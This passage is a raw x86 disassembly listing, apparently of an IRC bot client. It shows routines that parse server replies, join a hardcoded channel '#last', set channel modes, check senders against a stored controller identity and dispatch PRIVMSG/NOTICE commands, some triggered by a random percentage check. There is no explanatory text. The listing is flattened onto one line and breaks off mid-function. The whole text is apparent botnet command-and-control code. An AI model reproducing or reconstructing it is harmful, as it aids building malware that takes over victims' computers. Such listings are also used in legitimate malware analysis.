pop ecx xor eax, eax lea edi, [ebp+var_360] rep stosd lea eax, [ebp+var_364] push eax call ds:dword_417030 ; GetVersionExA cmp [ebp+var_360], 5 jnz short loc_40DC54 cmp [ebp+var_35C], 1 jnz short loc_40DC54 mov [ebp+var_370], 1 loc_40DC54: ; CODE XREF: sub_40D871+3CEj ; sub_40D871+3D7j push 5Ah push 41h call sub_4103F5 pop ecx pop ecx push eax push 5Ah push 41h call sub_4103F5 pop ecx pop ecx push eax cmp [ebp+var_370], 0 setz al dec eax and eax, 2Fh add eax, 2Dh movsx eax, al push eax push [ebp+var_368] push [ebp+var_36C] push 5Dh push [ebp+var_2CC] push 5Bh push 5Dh lea eax, [ebp+var_390] push eax push 5Bh push offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c" lea eax, [ebp+var_2C8] push eax call sub_416B5E ; sprintf add esp, 34h jmp short loc_40DCE5 ; --------------------------------------------------------------------------- loc_40DCB8: ; CODE XREF: sub_40D871+2FAj push offset dword_41DAA4 lea eax, [ebp+var_2C8] push eax call sub_416B3A ; strcpy pop ecx pop ecx lea eax, [ebp+var_2C8] push eax call sub_4105FB pop ecx lea eax, [ebp+var_2C8] push eax call sub_40D7E5 pop ecx loc_40DCE5: ; CODE XREF: sub_40D871+445j lea eax, [ebp+var_2C8] push eax push offset aNickS ; "NICK %s" call sub_40D6CB pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DCFD: ; CODE XREF: sub_40D871+2D0j push offset aError ; "ERROR" mov eax, [ebp+arg_C] push dword ptr [eax] call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_40DD25 push 0 push 0 push 0 call sub_40D366 add esp, 0Ch jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DD25: ; CODE XREF: sub_40D871+49Fj push offset aJoin ; "JOIN" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_40DD97 push offset byte_41EE48 push [ebp+arg_4] call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_40DD97 mov eax, [ebp+arg_C] cmp dword ptr [eax+8], 0 jz short loc_40DD97 mov eax, [ebp+arg_C] mov eax, [eax+8] movsx eax, byte ptr [eax] cmp eax, 3Ah jnz short loc_40DD74 mov eax, [ebp+arg_C] mov eax, [eax+8] inc eax mov [ebp+var_7E8], eax jmp short loc_40DD80 ; --------------------------------------------------------------------------- loc_40DD74: ; CODE XREF: sub_40D871+4F2j mov eax, [ebp+arg_C] mov eax, [eax+8] mov [ebp+var_7E8], eax loc_40DD80: ; CODE XREF: sub_40D871+501j push [ebp+var_7E8] push offset aModeSSmntu ; "MODE %s +smntu" call sub_40D6CB pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DD97: ; CODE XREF: sub_40D871+4C8j ; sub_40D871+4DBj ... push offset a001 ; "001" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz loc_40DE70 push 21h mov eax, [ebp+arg_C] push dword ptr [eax+8] lea eax, [ebp+var_4B4] push eax call sub_416B58 ; strncpy add esp, 0Ch lea eax, [ebp+var_4B4] push eax push offset byte_41EE48 call sub_416B3A ; strcpy pop ecx pop ecx lea eax, [ebp+var_4B4] push eax push offset aModeSXi ; "MODE %s +xi" call sub_40D6CB pop ecx pop ecx push offset dword_41ED48 push offset aLast ; "#last" push offset aJoinSS ; "JOIN %s %s" call sub_40D6CB add esp, 0Ch lea eax, [ebp+var_490] push eax call sub_40CF25 push eax call sub_40449C pop ecx pop ecx test eax, eax jz short loc_40DE58 lea eax, [ebp+var_490] push eax call sub_4041B7 pop ecx test eax, eax jz short loc_40DE43 lea eax, [ebp+var_4B4] push eax push offset aUserhostS ; "USERHOST %s" call sub_40D6CB pop ecx pop ecx jmp short loc_40DE56 ; --------------------------------------------------------------------------- loc_40DE43: ; CODE XREF: sub_40D871+5BBj lea eax, [ebp+var_490] push eax push offset dword_41EF48 call sub_416B3A ; strcpy pop ecx pop ecx loc_40DE56: ; CODE XREF: sub_40D871+5D0j jmp short loc_40DE6B ; --------------------------------------------------------------------------- loc_40DE58: ; CODE XREF: sub_40D871+5AAj lea eax, [ebp+var_4B4] push eax push offset aUserhostS ; "USERHOST %s" call sub_40D6CB pop ecx pop ecx loc_40DE6B: ; CODE XREF: sub_40D871:loc_40DE56j jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DE70: ; CODE XREF: sub_40D871+53Aj push offset a451 ; "451" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_40DE96 push 0 push 1 call sub_40D043 pop ecx pop ecx jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DE96: ; CODE XREF: sub_40D871+613j push offset a302 ; "302" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz loc_40DF3E mov eax, [ebp+arg_C] cmp dword ptr [eax+0Ch], 0 jnz short loc_40DEBE jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DEBE: ; CODE XREF: sub_40D871+646j push offset a@ ; "@" mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5B8], eax cmp [ebp+var_5B8], 0 jnz short loc_40DEE4 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DEE4: ; CODE XREF: sub_40D871+66Cj push 100h mov eax, [ebp+var_5B8] inc eax push eax push offset dword_41EF48 call sub_407A56 add esp, 0Ch lea eax, [ebp+var_5B4] push eax mov eax, [ebp+var_5B8] inc eax push eax call sub_404612 pop ecx pop ecx movzx eax, al test eax, eax jnz short loc_40DF20 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DF20: ; CODE XREF: sub_40D871+6A8j push 100h lea eax, [ebp+var_5B4] push eax push offset dword_41EF48 call sub_407A56 add esp, 0Ch jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DF3E: ; CODE XREF: sub_40D871+639j push offset aNick ; "NICK" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_40DF8E mov eax, [ebp+arg_C] cmp dword ptr [eax+8], 0 jnz short loc_40DF62 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DF62: ; CODE XREF: sub_40D871+6EAj push offset byte_41EE48 push [ebp+arg_4] call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_40DF89 mov eax, [ebp+arg_C] mov eax, [eax+8] inc eax push eax push offset byte_41EE48 call sub_416B3A ; strcpy pop ecx pop ecx loc_40DF89: ; CODE XREF: sub_40D871+702j jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DF8E: ; CODE XREF: sub_40D871+6E1j push offset a332 ; "332" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz loc_40E128 mov eax, [ebp+arg_10] cmp dword ptr [eax+10h], 0 jz short loc_40DFBF mov eax, [ebp+arg_10] mov eax, [eax+10h] movsx eax, byte ptr [eax+1] test eax, eax jnz short loc_40DFC4 loc_40DFBF: ; CODE XREF: sub_40D871+73Ej jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40DFC4: ; CODE XREF: sub_40D871+74Cj mov eax, [ebp+arg_10] mov eax, [eax+10h] movsx eax, byte ptr [eax+1] cmp eax, 3Dh jnz loc_40E05F mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax push eax mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax inc eax push eax call sub_40E9C9 pop ecx pop ecx mov [ebp+var_5BC], eax push [ebp+var_5BC] mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax push eax call sub_40F040 pop ecx pop ecx mov [ebp+var_5BC], eax push [ebp+var_5BC] mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax push eax call sub_40EF41 pop ecx pop ecx mov eax, [ebp+arg_10] cmp dword ptr [eax+14h], 0 jz short loc_40E04E mov eax, [ebp+arg_10] push dword ptr [eax+14h] mov eax, [ebp+arg_10] mov eax, [eax+10h] mov ecx, [ebp+var_5BC] lea eax, [eax+ecx+1] push eax call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_40E05F ; --------------------------------------------------------------------------- loc_40E04E: ; CODE XREF: sub_40D871+7BBj mov eax, [ebp+arg_10] mov eax, [eax+10h] mov ecx, [ebp+var_5BC] and byte ptr [eax+ecx+1], 0 loc_40E05F: ; CODE XREF: sub_40D871+760j ; sub_40D871+7DBj mov eax, [ebp+arg_10] mov eax, [eax+10h] movsx eax, byte ptr [eax+1] test eax, eax jz loc_40E123 lea eax, [ebp+var_7C4] push eax push offset asc_41A07C ; "][" mov eax, [ebp+arg_10] mov eax, [eax+10h] inc eax push eax call sub_40813C add esp, 0Ch mov [ebp+var_7C0], eax and [ebp+var_7C8], 0 loc_40E09A: ; CODE XREF: sub_40D871+8ADj cmp [ebp+var_7C0], 0 jnz short loc_40E0A5 jmp short loc_40E123 ; --------------------------------------------------------------------------- loc_40E0A5: ; CODE XREF: sub_40D871+830j ; sub_40D871+851j mov eax, [ebp+var_7C0] movsx eax, byte ptr [eax] cmp eax, 20h jz short loc_40E0B5 jmp short loc_40E0C4 ; --------------------------------------------------------------------------- loc_40E0B5: ; CODE XREF: sub_40D871+840j mov eax, [ebp+var_7C0] inc eax mov [ebp+var_7C0], eax jmp short loc_40E0A5 ; --------------------------------------------------------------------------- loc_40E0C4: ; CODE XREF: sub_40D871+842j push [ebp+var_7C0] mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] push offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s" push 200h lea eax, [ebp+var_7BC] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp+var_7BC] push eax call sub_40E618 pop ecx lea eax, [ebp+var_7C4] push eax push offset asc_41A07C ; "][" push 0 call sub_40813C add esp, 0Ch mov [ebp+var_7C8], eax mov eax, [ebp+var_7C8] mov [ebp+var_7C0], eax jmp loc_40E09A ; --------------------------------------------------------------------------- loc_40E123: ; CODE XREF: sub_40D871+7FAj ; sub_40D871+832j jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E128: ; CODE XREF: sub_40D871+731j cmp [ebp+arg_0], 0 jz short loc_40E153 mov eax, [ebp+arg_C] cmp dword ptr [eax+8], 0 jz short loc_40E153 mov eax, [ebp+arg_C] cmp dword ptr [eax+0Ch], 0 jz short loc_40E153 push offset byte_41EE48 push [ebp+arg_4] call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_40E158 loc_40E153: ; CODE XREF: sub_40D871+8BBj ; sub_40D871+8C4j ... jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E158: ; CODE XREF: sub_40D871+8E0j mov eax, [ebp+arg_C] mov eax, [eax+0Ch] inc eax mov ecx, [ebp+arg_C] mov [ecx+0Ch], eax mov eax, [ebp+arg_10] mov eax, [eax+0Ch] inc eax mov ecx, [ebp+arg_10] mov [ecx+0Ch], eax push offset aPrivmsg ; "PRIVMSG" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_40E1C0 mov eax, [ebp+arg_C] mov eax, [eax+0Ch] movsx eax, byte ptr [eax] cmp eax, 1 jnz short loc_40E1AB mov eax, [ebp+arg_4] mov [ebp+var_90], eax mov [ebp+var_84], 3 jmp short loc_40E1BE ; --------------------------------------------------------------------------- loc_40E1AB: ; CODE XREF: sub_40D871+923j mov eax, [ebp+arg_C] mov eax, [eax+8] mov [ebp+var_90], eax and [ebp+var_84], 0 loc_40E1BE: ; CODE XREF: sub_40D871+938j jmp short loc_40E216 ; --------------------------------------------------------------------------- loc_40E1C0: ; CODE XREF: sub_40D871+915j push offset aNotice ; "NOTICE" mov eax, [ebp+arg_C] push dword ptr [eax+4] call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_40E211 mov eax, [ebp+arg_C] mov eax, [eax+0Ch] movsx eax, byte ptr [eax] cmp eax, 1 jnz short loc_40E1F9 mov eax, [ebp+arg_4] mov [ebp+var_90], eax mov [ebp+var_84], 3 jmp short loc_40E20F ; --------------------------------------------------------------------------- loc_40E1F9: ; CODE XREF: sub_40D871+971j mov eax, [ebp+arg_C] mov eax, [eax+8] mov [ebp+var_90], eax mov [ebp+var_84], 1 loc_40E20F: ; CODE XREF: sub_40D871+986j jmp short loc_40E216 ; --------------------------------------------------------------------------- loc_40E211: ; CODE XREF: sub_40D871+963j jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E216: ; CODE XREF: sub_40D871:loc_40E1BEj ; sub_40D871:loc_40E20Fj cmp [ebp+var_84], 3 jnz loc_40E321 mov eax, [ebp+arg_C] mov eax, [eax+0Ch] inc eax mov ecx, [ebp+arg_C] mov [ecx+0Ch], eax mov eax, [ebp+arg_10] mov eax, [eax+0Ch] inc eax mov ecx, [ebp+arg_10] mov [ecx+0Ch], eax and [ebp+var_7CC], 0 jmp short loc_40E253 ; --------------------------------------------------------------------------- loc_40E246: ; CODE XREF: sub_40D871:loc_40E31Cj mov eax, [ebp+var_7CC] inc eax mov [ebp+var_7CC], eax loc_40E253: ; CODE XREF: sub_40D871+9D3j mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] cmp dword ptr [ecx+eax*4], 0 jz short loc_40E26B cmp [ebp+var_7CC], 0Fh jnz short loc_40E2B8 loc_40E26B: ; CODE XREF: sub_40D871+9EFj mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_10] push dword ptr [ecx+eax*4] call sub_416B40 ; strlen pop ecx mov [ebp+var_7D4], eax mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D4] movsx eax, byte ptr [eax+ecx-1] cmp eax, 1 jnz short loc_40E2B6 mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D4] mov byte ptr [eax+ecx-1], 1 loc_40E2B6: ; CODE XREF: sub_40D871+A2Cj jmp short loc_40E321 ; --------------------------------------------------------------------------- loc_40E2B8: ; CODE XREF: sub_40D871+9F8j mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] push dword ptr [ecx+eax*4] call sub_416B40 ; strlen pop ecx mov [ebp+var_7D0], eax mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D0] movsx eax, byte ptr [eax+ecx-1] cmp eax, 1 jnz short loc_40E31C mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D0] and byte ptr [eax+ecx-1], 0 mov eax, [ebp+var_7CC] mov ecx, [ebp+arg_10] mov eax, [ecx+eax*4] mov ecx, [ebp+var_7D0] and byte ptr [eax+ecx-1], 0 jmp short loc_40E321 ; --------------------------------------------------------------------------- loc_40E31C: ; CODE XREF: sub_40D871+A79j jmp loc_40E246 ; --------------------------------------------------------------------------- loc_40E321: ; CODE XREF: sub_40D871+9ACj ; sub_40D871:loc_40E2B6j ... push offset byte_41EE48 push [ebp+var_90] call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_40E340 mov eax, [ebp+arg_4] mov [ebp+var_90], eax loc_40E340: ; CODE XREF: sub_40D871+AC4j push 7Ah push 0 lea eax, [ebp+var_7C] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_10] mov eax, [eax] mov [ebp+var_88], eax and [ebp+var_8C], 0 mov eax, [ebp+arg_10] push dword ptr [eax] call sub_416B40 ; strlen pop ecx mov [ebp+var_80], eax loc_40E370: ; CODE XREF: sub_40D871:loc_40E3F2j cmp [ebp+var_80], 3 jnb short loc_40E378 jmp short loc_40E3F7 ; --------------------------------------------------------------------------- loc_40E378: ; CODE XREF: sub_40D871+B03j mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-1] cmp eax, 20h jnz short loc_40E393 mov eax, [ebp+var_80] dec eax mov [ebp+var_80], eax jmp short loc_40E3F2 ; --------------------------------------------------------------------------- loc_40E393: ; CODE XREF: sub_40D871+B17j mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-3] cmp eax, 20h jnz short loc_40E3F0 mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-2] cmp eax, 2Dh jnz short loc_40E3F0 mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-1] cmp eax, 7Ah jg short loc_40E3F0 mov [ebp+var_8C], 1 mov eax, [ebp+var_88] add eax, [ebp+var_80] movsx eax, byte ptr [eax-1] mov [ebp+eax+var_7C], 1 mov eax, [ebp+var_80] sub eax, 3 mov [ebp+var_80], eax jmp short loc_40E3F2 ; --------------------------------------------------------------------------- loc_40E3F0: ; CODE XREF: sub_40D871+B32j ; sub_40D871+B44j ... jmp short loc_40E3F7 ; --------------------------------------------------------------------------- loc_40E3F2: ; CODE XREF: sub_40D871+B20j ; sub_40D871+B7Dj jmp loc_40E370 ; --------------------------------------------------------------------------- loc_40E3F7: ; CODE XREF: sub_40D871+B05j ; sub_40D871:loc_40E3F0j cmp [ebp+var_8C], 0 jz loc_40E4CC and [ebp+var_7D8], 0 jmp short loc_40E41A ; --------------------------------------------------------------------------- loc_40E40D: ; CODE XREF: sub_40D871:loc_40E4C7j mov eax, [ebp+var_7D8] inc eax mov [ebp+var_7D8], eax loc_40E41A: ; CODE XREF: sub_40D871+B9Aj cmp [ebp+var_7D8], 10h jnb loc_40E4CC mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_10] cmp dword ptr [ecx+eax*4], 0 jnz short loc_40E43B jmp loc_40E4CC ; --------------------------------------------------------------------------- loc_40E43B: ; CODE XREF: sub_40D871+BC3j mov eax, [ebp+var_88] add eax, [ebp+var_80] mov ecx, [ebp+var_7D8] mov edx, [ebp+arg_10] cmp [edx+ecx*4], eax jb short loc_40E4C7 cmp [ebp+var_8C], 0 jz short loc_40E48F cmp [ebp+var_7D8], 0 jz short loc_40E488 mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_C] push dword ptr [ecx+eax*4-4] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_7D8] mov edx, [ebp+arg_10] mov ecx, [edx+ecx*4-4] and byte ptr [ecx+eax], 0 loc_40E488: ; CODE XREF: sub_40D871+BF1j and [ebp+var_8C], 0 loc_40E48F: ; CODE XREF: sub_40D871+BE8j mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_10] mov eax, [ecx+eax*4] and byte ptr [eax], 0 mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_C] mov eax, [ecx+eax*4] and byte ptr [eax], 0 mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_10] and dword ptr [ecx+eax*4], 0 mov eax, [ebp+var_7D8] mov ecx, [ebp+arg_C] and dword ptr [ecx+eax*4], 0 loc_40E4C7: ; CODE XREF: sub_40D871+BDFj jmp loc_40E40D ; --------------------------------------------------------------------------- loc_40E4CC: ; CODE XREF: sub_40D871+B8Dj ; sub_40D871+BB0j ... push offset byte_41EE48 mov eax, [ebp+arg_C] push dword ptr [eax+8] call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_40E513 mov eax, [ebp+arg_10] add eax, 0Ch push eax mov eax, [ebp+arg_C] add eax, 0Ch push eax lea eax, [ebp+var_7C] push eax push [ebp+var_84] push [ebp+var_90] push [ebp+arg_8] push [ebp+arg_4] call sub_40A9CF add esp, 1Ch jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E513: ; CODE XREF: sub_40D871+C6Fj mov eax, [ebp+arg_C] cmp dword ptr [eax+10h], 0 jnz short loc_40E521 jmp loc_40E615 ; --------------------------------------------------------------------------- loc_40E521: ; CODE XREF: sub_40D871+CA9j and [ebp+var_7DC], 0 push offset asc_41A070 ; "*" mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_40E54A mov [ebp+var_7DC], 1 jmp loc_40E5DE ; --------------------------------------------------------------------------- loc_40E54A: ; CODE XREF: sub_40D871+CCBj mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] push offset byte_41EE48 call sub_40A6EB pop ecx pop ecx movzx eax, al test eax, eax jz short loc_40E56C mov [ebp+var_7DC], 1 jmp short loc_40E5DE ; --------------------------------------------------------------------------- loc_40E56C: ; CODE XREF: sub_40D871+CF0j mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416B40 ; strlen pop ecx cmp eax, 4 ja short loc_40E5DE mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+arg_C] mov ecx, [ecx+0Ch] movsx eax, byte ptr [ecx+eax-1] cmp eax, 25h jnz short loc_40E5DE mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+arg_C] mov ecx, [ecx+0Ch] and byte ptr [ecx+eax-1], 0 call sub_410422 xor edx, edx push 64h pop ecx div ecx inc edx mov [ebp+var_7E0], edx mov eax, [ebp+arg_C] push dword ptr [eax+0Ch] call sub_416B9C ; atoi pop ecx cmp eax, [ebp+var_7E0] jl short loc_40E5DE mov [ebp+var_7DC], 1 loc_40E5DE: ; CODE XREF: sub_40D871+CD4j ; sub_40D871+CF9j ... movzx eax, [ebp+var_7DC] test eax, eax jz short loc_40E615 mov eax, [ebp+arg_10] add eax, 10h push eax mov eax, [ebp+arg_C] add eax, 10h push eax lea eax, [ebp+var_7C] push eax push [ebp+var_84] push [ebp+var_90] push [ebp+arg_8] push [ebp+arg_4] call sub_40A9CF add esp, 1Ch loc_40E615: ; CODE XREF: sub_40D871+31j ; sub_40D871+4Cj ... pop edi leave retn sub_40D871 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E618 proc near ; CODE XREF: sub_40C93C+A8p ; sub_40D871+87Fp ... var_1194 = dword ptr -1194h var_1190 = dword ptr -1190h var_118C = byte ptr -118Ch var_1180 = dword ptr -1180h var_114C = dword ptr -114Ch var_1148 = dword ptr -1148h var_1144 = dword ptr -1144h var_113C = dword ptr -113Ch var_1138 = dword ptr -1138h var_1109 = byte ptr -1109h var_1108 = byte ptr -1108h var_1089 = byte ptr -1089h var_1088 = byte ptr -1088h var_88 = dword ptr -88h var_84 = byte ptr -84h var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1194h call sub_416BC0 and [ebp+var_4], 0 push 10h lea eax, [ebp+var_118C] push eax lea eax, [ebp+var_1148] push eax lea eax, [ebp+var_1088] push eax push [ebp+arg_0] call sub_407928 add esp, 14h push offset a302 ; "302" push [ebp+var_1144] call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_40E66D mov dword_41E9AC, 1 jmp short loc_40E674 ; --------------------------------------------------------------------------- loc_40E66D: ; CODE XREF: sub_40E618+47j and dword_41E9AC, 0 loc_40E674: ; CODE XREF: sub_40E618+53j cmp [ebp+var_1148], 0 jz short loc_40E686 cmp [ebp+var_1144], 0 jnz short loc_40E68B loc_40E686: ; CODE XREF: sub_40E618+63j jmp locret_40E941 ; --------------------------------------------------------------------------- loc_40E68B: ; CODE XREF: sub_40E618+6Cj push offset aPrivmsg ; "PRIVMSG" push [ebp+var_1144] call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jz short loc_40E6BB push offset aNotice ; "NOTICE" push [ebp+var_1144] call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz loc_40E7A5 loc_40E6BB: ; CODE XREF: sub_40E618+87j cmp [ebp+var_113C], 0 jz loc_40E7A5 cmp [ebp+var_1138], 0 jnz loc_40E7A5 mov eax, [ebp+var_113C] movsx eax, byte ptr [eax] cmp eax, 3Ah jnz loc_40E7A5 mov eax, [ebp+var_113C] movsx eax, byte ptr [eax+1] cmp eax, 3Dh jnz loc_40E7A5 mov eax, [ebp+var_113C] movsx eax, byte ptr [eax+2] test eax, eax jz loc_40E7A5 mov eax, [ebp+var_113C] inc eax inc eax push eax call sub_40EC96 pop ecx test eax, eax jz loc_40E7A5 mov eax, [ebp+var_113C] inc eax push eax mov eax, [ebp+var_113C] inc eax inc eax push eax call sub_40E9C9 pop ecx pop ecx mov [ebp+var_1190], eax push [ebp+var_1190] mov eax, [ebp+var_113C] inc eax push eax call sub_40F040 pop ecx pop ecx mov [ebp+var_1190], eax push [ebp+var_1190] mov eax, [ebp+var_113C] inc eax push eax call sub_40EF41 pop ecx pop ecx mov eax, [ebp+var_113C] add eax, [ebp+var_1190] and byte ptr [eax+1], 0 push 0Dh lea eax, [ebp+var_1180] push eax lea eax, [ebp+var_113C] push eax push [ebp+var_1180] push [ebp+var_113C] call sub_407928 add esp, 14h loc_40E7A5: ; CODE XREF: sub_40E618+9Dj ; sub_40E618+AAj ... push offset aLinkLink@link ; "link!link@link" push [ebp+var_1148] call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz loc_40E853 and [ebp+var_1194], 0 jmp short loc_40E7D5 ; --------------------------------------------------------------------------- loc_40E7C8: ; CODE XREF: sub_40E618+234j mov eax, [ebp+var_1194] inc eax mov [ebp+var_1194], eax loc_40E7D5: ; CODE XREF: sub_40E618+1AEj mov eax, [ebp+var_1194] cmp off_41DA5C[eax*4], 0 jnz short loc_40E7E7 jmp short loc_40E851 ; --------------------------------------------------------------------------- loc_40E7E7: ; CODE XREF: sub_40E618+1CBj mov eax, [ebp+var_1194] push off_41DA5C[eax*4] call sub_4105FB pop ecx mov eax, [ebp+var_1194] push off_41DA5C[eax*4] mov eax, [ebp+var_1148] inc eax push eax call sub_40A5BE pop ecx pop ecx movzx eax, al test eax, eax jz short loc_40E839 mov eax, [ebp+var_1194] push off_41DA5C[eax*4] call sub_4105AD pop ecx mov [ebp+var_4], 1 jmp short loc_40E851 ; --------------------------------------------------------------------------- loc_40E839: ; CODE XREF: sub_40E618+203j mov eax, [ebp+var_1194] push off_41DA5C[eax*4] call sub_4105AD pop ecx jmp loc_40E7C8 ; --------------------------------------------------------------------------- loc_40E851: ; CODE XREF: sub_40E618+1CDj ; sub_40E618+21Fj jmp short loc_40E85A ; --------------------------------------------------------------------------- loc_40E853: ; CODE XREF: sub_40E618+1A1j mov [ebp+var_4], 1 loc_40E85A: ; CODE XREF: sub_40E618:loc_40E851j and [ebp+var_88], 0 mov [ebp+var_114C], 1 jmp short loc_40E87A ; --------------------------------------------------------------------------- loc_40E86D: ; CODE XREF: sub_40E618:loc_40E90Aj mov eax, [ebp+var_114C] inc eax mov [ebp+var_114C], eax loc_40E87A: ; CODE XREF: sub_40E618+253j cmp [ebp+var_114C], 80h jge loc_40E90F mov eax, [ebp+var_1148] add eax, [ebp+var_114C] movsx eax, byte ptr [eax] cmp eax, 21h jnz short loc_40E8B6 mov [ebp+var_88], 1 mov eax, [ebp+var_114C] and byte ptr [ebp+eax+var_88+3], 0 loc_40E8B6: ; CODE XREF: sub_40E618+284j cmp [ebp+var_88], 0 jnz short loc_40E8DA mov eax, [ebp+var_1148] add eax, [ebp+var_114C] mov ecx, [ebp+var_114C] mov al, [eax] mov byte ptr [ebp+ecx+var_88+3], al loc_40E8DA: ; CODE XREF: sub_40E618+2A5j mov eax, [ebp+var_1148] add eax, [ebp+var_114C] mov ecx, [ebp+var_114C] mov al, [eax] mov [ebp+ecx+var_1109], al mov eax, [ebp+var_1148] add eax, [ebp+var_114C] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40E90A jmp short loc_40E90F ; --------------------------------------------------------------------------- loc_40E90A: ; CODE XREF: sub_40E618+2EEj jmp loc_40E86D ; --------------------------------------------------------------------------- loc_40E90F: ; CODE XREF: sub_40E618+26Cj ; sub_40E618+2F0j and [ebp+var_5], 0 and [ebp+var_1089], 0 lea eax, [ebp+var_118C] push eax lea eax, [ebp+var_1148] push eax lea eax, [ebp+var_1108] push eax lea eax, [ebp+var_84] push eax push [ebp+var_4] call sub_40D871 add esp, 14h locret_40E941: ; CODE XREF: sub_40E618:loc_40E686j leave retn sub_40E618 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E943 proc near ; CODE XREF: sub_416ADB-21p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_40E94E: ; CODE XREF: sub_40E943+32j mov eax, [ebp+var_4] mov [ebp+var_8], eax mov eax, [ebp+var_8] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40E960 jmp short locret_40E977 ; --------------------------------------------------------------------------- loc_40E960: ; CODE XREF: sub_40E943+19j push [ebp+var_8] call sub_407B5E pop ecx mov [ebp+var_4], eax push [ebp+var_8] call sub_40E618 pop ecx jmp short loc_40E94E ; --------------------------------------------------------------------------- locret_40E977: ; CODE XREF: sub_40E943+1Bj leave retn sub_40E943 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E979 proc near ; CODE XREF: .text:004168D5p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_40E98A ; --------------------------------------------------------------------------- loc_40E983: ; CODE XREF: sub_40E979+24j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40E98A: ; CODE XREF: 